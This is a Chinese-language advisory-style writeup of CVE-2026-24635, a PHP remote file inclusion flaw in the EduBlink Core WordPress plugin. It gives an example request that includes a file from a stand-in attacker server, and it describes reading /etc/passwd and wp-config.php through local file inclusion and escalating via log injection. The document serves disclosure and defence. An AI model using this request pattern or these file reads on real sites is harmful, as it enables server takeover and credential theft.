CVE-2026-24635CVE-2026-24635是WordPress插件EduBlink Core中的一个高危安全漏洞,CVSS评分达到7.5分,属于高危级别。该漏洞属于PHP远程文件包含(Remote File Inclusion, RFI)类型,存在于插件的文件包含机制中,由于对用户可控的输入参数缺乏充分的验证和过滤,攻击者可以利用该漏洞远程包含恶意文件,从而执行任意PHP代码。
EduBlink Core是一款WordPress教育主题插件,提供了在线课程、教育机构网站构建等功能。该插件通过动态包含PHP文件来实现功能模块化,但未对include/require语句中的文件名参数进行严格的安全校验。攻击者只需构造特定的请求参数,即可诱导服务器包含远程服务器上的恶意PHP文件。
此漏洞的影响范围覆盖了EduBlink Core从初始版本到2.0.7的所有版本。由于该插件广泛应用于教育类网站,攻击者可能通过此漏洞获取网站服务器的控制权,进而窃取敏感数据、植入后门程序或进行进一步的横向渗透。该漏洞的利用不需要高权限认证,低权限用户即可触发,这进一步增加了漏洞的严重性。
该漏洞由Patchstack安全团队的审计人员发现并报告。鉴于其潜在的严重危害,建议使用该插件的用户立即采取修复措施,避免遭受恶意攻击。
CVE-2026-24635漏洞源于EduBlink Core插件在处理PHP文件包含时,对用户输入的文件路径参数缺乏严格的输入验证。攻击者可以通过构造恶意的URL参数,将任意远程服务器上的PHP文件作为合法文件包含执行。
漏洞的技术原理如下:插件代码中存在类似include($_GET['file'])或require($_GET['page'])的代码模式,直接使用$_GET超全局变量中的用户可控参数作为文件路径传递给include/require语句。攻击者可以构造如下恶意请求:
http://target-site.com/wp-content/plugins/edublink-core/some-file.php?file=http://attacker-server.com/malicious.txt
当服务器配置允许远程文件包含(allow_url_include=On)时,PHP会从攻击者指定的远程URL获取文件内容并执行。由于PHP 5.2.0之后的默认配置禁止远程文件包含,此漏洞在默认配置下可能无法直接利用。但攻击者仍可通过本地文件包含(LFI)方式,结合目录遍历技术,读取服务器上的敏感文件,如/etc/passwd、wp-config.php等。
利用本地文件包含读取wp-config.php可以获取数据库凭证和WordPress盐值,进一步可能实现远程代码执行。攻击者可以上传包含恶意代码的图片文件或利用日志注入等方式写入PHP代码,然后通过文件包含漏洞触发执行。